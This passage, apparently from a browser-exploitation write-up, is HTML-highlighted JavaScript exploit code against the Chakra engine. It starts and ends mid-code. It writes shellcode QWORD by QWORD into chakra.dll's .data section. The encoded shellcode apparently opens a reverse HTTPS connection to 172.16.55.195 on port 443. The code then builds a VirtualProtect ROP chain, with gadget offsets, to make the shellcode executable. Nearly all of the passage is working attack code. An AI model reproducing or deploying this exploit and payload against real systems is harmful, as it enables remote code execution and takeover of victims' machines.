	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x6774c085</span><span class="p">,</span> <span class="mh">0x44d00148</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5020408b</span><span class="p">,</span> <span class="mh">0x4918488b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x56e3d001</span><span class="p">,</span> <span class="mh">0x41c9ff48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4d88348b</span><span class="p">,</span> <span class="mh">0x0148c931</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc03148d6</span><span class="p">,</span> <span class="mh">0x0dc9c141</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc10141ac</span><span class="p">,</span> <span class="mh">0xf175e038</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x244c034c</span><span class="p">,</span> <span class="mh">0xd1394508</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4458d875</span><span class="p">,</span> <span class="mh">0x4924408b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4166d001</span><span class="p">,</span> <span class="mh">0x44480c8b</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x491c408b</span><span class="p">,</span> <span class="mh">0x8b41d001</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x01488804</span><span class="p">,</span> <span class="mh">0x415841d0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5a595e58</span><span class="p">,</span> <span class="mh">0x59415841</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x83485a41</span><span class="p">,</span> <span class="mh">0x524120ec</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4158e0ff</span><span class="p">,</span> <span class="mh">0x8b485a59</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff4be912</span><span class="p">,</span> <span class="mh">0x485dffff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4953db31</span><span class="p">,</span> <span class="mh">0x6e6977be</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x74656e69</span><span class="p">,</span> <span class="mh">0x48564100</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc749e189</span><span class="p">,</span> <span class="mh">0x26774cc2</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53d5ff07</span><span class="p">,</span> <span class="mh">0xe1894853</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x314d5a53</span><span class="p">,</span> <span class="mh">0xc9314dc0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba495353</span><span class="p">,</span> <span class="mh">0xa779563a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0ee8d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x31000000</span><span class="p">,</span> <span class="mh">0x312e3237</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x35352e36</span><span class="p">,</span> <span class="mh">0x3539312e</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485a00</span><span class="p">,</span> <span class="mh">0xc0c749c1</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000001bb</span><span class="p">,</span> <span class="mh">0x53c9314d</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53036a53</span><span class="p">,</span> <span class="mh">0x8957ba49</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x0000c69f</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x000023e8</span><span class="p">,</span> <span class="mh">0x2d652f00</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x65503754</span><span class="p">,</span> <span class="mh">0x516f3242</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58643452</span><span class="p">,</span> <span class="mh">0x6b47336c</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x67377674</span><span class="p">,</span> <span class="mh">0x4d576c79</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x3764757a</span><span class="p">,</span> <span class="mh">0x0078466a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x53c18948</span><span class="p">,</span> <span class="mh">0x4d58415a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4853c931</span><span class="p">,</span> <span class="mh">0x280200b8</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000084</span><span class="p">,</span> <span class="mh">0x53535000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xebc2c749</span><span class="p">,</span> <span class="mh">0xff3b2e55</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc68948d5</span><span class="p">,</span> <span class="mh">0x535f0a6a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf189485a</span><span class="p">,</span> <span class="mh">0x4dc9314d</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x5353c931</span><span class="p">,</span> <span class="mh">0x2dc2c749</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xff7b1806</span><span class="p">,</span> <span class="mh">0x75c085d5</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc1c7481f</span><span class="p">,</span> <span class="mh">0x00001388</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xf044ba49</span><span class="p">,</span> <span class="mh">0x0000e035</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xd5ff0000</span><span class="p">,</span> <span class="mh">0x74cfff48</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xe8cceb02</span><span class="p">,</span> <span class="mh">0x00000055</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x406a5953</span><span class="p">,</span> <span class="mh">0xd189495a</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x4910e2c1</span><span class="p">,</span> <span class="mh">0x1000c0c7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xba490000</span><span class="p">,</span> <span class="mh">0xe553a458</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x9348d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89485353</span><span class="p">,</span> <span class="mh">0xf18948e7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x49da8948</span><span class="p">,</span> <span class="mh">0x2000c0c7</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x89490000</span><span class="p">,</span> <span class="mh">0x12ba49f9</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00e28996</span><span class="p">,</span> <span class="mh">0xff000000</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc48348d5</span><span class="p">,</span> <span class="mh">0x74c08520</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x078b66b2</span><span class="p">,</span> <span class="mh">0x85c30148</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x58d275c0</span><span class="p">,</span> <span class="mh">0x006a58c3</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0xc2c74959</span><span class="p">,</span> <span class="mh">0x56a2b5f0</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>
	<span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x0000d5ff</span><span class="p">);</span>
	<span class="nx">inc</span><span class="p">();</span>

	<span class="c1">// Store where our ROP chain begins</span>
	<span class="nx">ropBegin</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

	<span class="c1">// Increment countMe (which is the variable used to write 1 QWORD at a time) by 0x50 bytes to give us some breathing room between our shellcode and ROP chain</span>
	<span class="nx">countMe</span> <span class="o">+=</span> <span class="mh">0x50</span><span class="p">;</span>

	<span class="c1">// VirtualProtect() ROP chain (will be called in the JIT process)</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180577fd4: pop rax ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e030</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// PDWORD lpflOldProtect (any writable address -&gt; Eventually placed in R9)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>                <span class="c1">// Padding for add rsp, 0x28</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x180046377: pop rcx ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>

    <span class="c1">// Store the current offset within the .data section into a var</span>
    <span class="nx">ropoffsetOne</span> <span class="o">=</span> <span class="nx">countMe</span><span class="p">;</span>

    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// LPVOID lpAddress (Eventually will be updated to the address we want to mark as RWX, our shellcode)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>          <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// SIZE_T dwSize (0x1000)</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x576231</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>         <span class="c1">// 0x180576231: pop r8 ; ret</span>
    <span class="nx">inc</span><span class="p">();</span>
    <span class="nx">write64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74b000</span><span class="o">+</span><span class="nx">countMe</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">,</span> <span class="mh">0x00000040</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>                <span class="c1">// DWORD flNewProtect (PAGE_EXECUTE_READWRITE)</span>
    <span class="nx">inc</span><span class="p">();</span>
